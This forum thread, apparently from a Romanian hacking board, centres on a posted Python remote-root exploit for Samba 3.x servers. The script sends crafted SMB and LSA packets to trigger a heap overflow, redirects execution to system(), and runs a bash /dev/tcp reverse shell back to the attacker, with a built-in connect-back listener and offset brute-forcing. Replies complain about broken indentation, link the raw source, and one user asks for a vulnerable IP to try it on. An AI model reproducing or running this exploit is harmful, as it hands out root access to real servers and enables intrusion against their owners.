Samba 3.6.3 remote root exploit

[pukamvp]

This is a Samba 3.x 0-day remote root exploit that was disclosed via pastebin/full disclosure!!!

#!/usr/bin/python

#

# finding targets 4 31337z:

# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'

# -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell

# found by eax samba 0day godz (loljk)

from binascii import hexlify, unhexlify

import socket

import threading

import SocketServer

import sys

import os

import time

import struct

targets = [

{

"name" : "samba_3.6.3-debian6",

"chunk_offset" : 0x9148,

"system_libc_offset" : 0xb6d003c0

},

{

"name" : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",

"chunk_offset" : 4560,

"system_libc_offset" : 0xb20

},

{

"name" : "target_finder (hardcode correct system addr)",

"chunk_offset" : 0,

"system_libc_offset" : 0xb6d1a3c0,

"finder": True

}

]

do_brute = True

rs = 1024

FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])

def dump(src, length=32):

result=[]

for i in xrange(0, len(src), length):

s = src[i:i+length]

hexa = ' '.join(["%02x"%ord(x) for x in s])

printable = s.translate(FILTER)

result.append("%04x %-*s %s\n" % (i, length*3, hexa, printable))

return ''.join(result)

sploitshake = [

# HELLO

"8100004420434b4644454e4543464445" + \

"46464346474546464343414341434143" + \

"41434143410020454745424644464545" + \

"43455046494341434143414341434143" + \

"4143414341414100",

# NTLM_NEGOT

"0000002fff534d427200000000000000" + \

"00000000000000000000000000001d14" + \

"00000000000c00024e54204c4d20302e" + \

"313200",

# SESSION_SETUP

"0000004bff534d427300000000080000" + \

"000000000000000000000000ffff1d14" + \

"000000000dff000000ffff02001d1499" + \

"1f00000000000000000000010000000e" + \

"000000706f736978007079736d6200",

# TREE_CONNECT

"00000044ff534d427500000000080000" + \

"000000000000000000000000ffff1d14" + \

"6400000004ff00000000000100190000" + \

"5c5c2a534d425345525645525c495043" + \

"24003f3f3f3f3f00",

# NT_CREATE

"00000059ff534d42a200000000180100" + \

"00000000000000000000000001001d14" + \

"6400000018ff00000000050016000000" + \

"000000009f0102000000000000000000" + \

"00000000030000000100000040000000" + \

"020000000306005c73616d7200"

]

pwnsauce = {

'smb_bind': \

"00000092ff534d422500000000000100" + \

"00000000000000000000000001001d14" + \

"6400000010000048000004e0ff000000" + \

"0000000000000000004a0048004a0002" + \

"002600babe4f005c504950455c000500" + \

"0b03100000004800000001000000b810" + \

"b8100000000001000000000001007857" + \

"34123412cdabef000123456789ab0000" + \

"0000045d888aeb1cc9119fe808002b10" + \

"486002000000",

'data_chunk': \

"000010efff534d422f00000000180000" + \

"00000000000000000000000001001d14" + \

"640000000eff000000babe00000000ff" + \

"0000000800b0100000b0103f00000000" + \

"00b0100500000110000000b010000001" + \

"0000009810000000000800",

'final_chunk': \

"000009a3ff534d422f00000000180000" + \

"00000000000000000000000001001d14" + \

"640000000eff000000babe00000000ff" + \

"00000008006409000064093f00000000" + \

"00640905000002100000006409000001" + \

"0000004c09000000000800"

}

def exploit(host, port, cbhost, cbport, target):

global sploitshake, pwnsauce

chunk_size = 4248

target_tcp = (host, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(target_tcp)

n = 0

for pkt in sploitshake:

s.send(unhexlify(pkt))

pkt_res = s.recv(rs)

n = n+1

fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])

s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))

pkt_res = s.recv(rs)

buf = "X"*20 # policy handle

level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS

buf+=struct.pack('<H',level) # level

buf+=struct.pack('<H',level)# level2

buf+=struct.pack('<L',1)#auditing_mode

buf+=struct.pack('<L',1)#ptr

buf+=struct.pack('<L',100000) # r->count

buf+=struct.pack('<L',20) # array_size

buf+=struct.pack('<L',0)

buf+=struct.pack('<L',100)

buf += ("A" * target['chunk_offset'])

buf+=struct.pack("I", 0);

buf+=struct.pack("I", target['system_libc_offset']);

buf+=struct.pack("I", 0);

buf+=struct.pack("I", target['system_libc_offset']);

buf+=struct.pack("I", 0xe8150c70);

buf+="AAAABBBB"

cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"

tmp = cmd*(816/len(cmd))

tmp += "\x00"*(816-len(tmp))

buf+=tmp

buf+="A"*(37192-target['chunk_offset'])

buf+='z'*(100000 - (28000 + 10000))

buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]

n=0

for chunk in buf_chunks:

if len(chunk) != chunk_size:

#print "LAST CHUNK #%d" % n

bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk

s.send(bb)

else:

#print "CHUNK #%d" % n

bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk

s.send(bb)

retbuf = s.recv(rs)

n=n+1

s.close()

class connectback_shell(SocketServer.BaseRequestHandler):

def handle(self):

global do_brute

print "\n[!] connectback shell from %s" % self.client_address[0]

do_brute = False

s = self.request

import termios, tty, select, os

old_settings = termios.tcgetattr(0)

try:

tty.setcbreak(0)

c = True

while c:

for i in select.select([0, s.fileno()], [], [], 0)[0]:

c = os.read(i, 1024)

if c:

if i == 0:

os.write(1, c)

os.write(s.fileno() if i == 0 else 1, c)

except KeyboardInterrupt: pass

finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

return

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):

pass

if len(sys.argv) != 6:

print "\n {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"

print " usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])

print " targets:"

i = 0

for target in targets:

print " %02d) %s" % (i, target['name'])

i = i+1

print ""

sys.exit(-1)

target = targets[int(sys.argv[5])]

server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)

server_thread = threading.Thread(target=server.serve_forever)

server_thread.daemon = True

server_thread.start()

while do_brute == True:

sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset']))

sys.stdout.flush()

exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)

if "finder" in target:

target['chunk_offset'] += 4

else:

target['system_libc_offset'] += 0x1000

if "finder" in target:

print \

"{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \

"system_libc_offset = 0x%03x" % \

(target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)

while 1:

time.sleep(999)

server.shutdown()

[aelius]

Si sursa te rugam. Multumim

// edit: nu citesc, ma uitam dupa link in speranta ca va fi formatat codul cum trebuie

altfel, apar balauri + >*<

 File "xxx.py", line 42
    result=[]
         ^
IndentationError: expected an indented block

  File "xxx.py", line 118
    global sploitshake, pwnsauce
         ^
IndentationError: expected an indented block

  File "xxx.py", line 128
    s.send(unhexlify(pkt))
    ^
IndentationError: expected an indented block

  File "xxx.py", line 169
    if len(chunk) != chunk_size:
     ^
IndentationError: expected an indented block

  File "xxx.py", line 168
    for chunk in buf_chunks: if len(chunk) != chunk_size:
                              ^
SyntaxError: invalid syntax

raw source here => http://pastebin.com/raw.php?i=AwpsBWVQ

Edited September 26, 2012 by aelius

[pukamvp]

Tu chiar nu citesti ? # found by eax samba 0day godz (loljk)

[ilbr22]

l-a incercat cineva ? vreau si eu un ip vuln. ms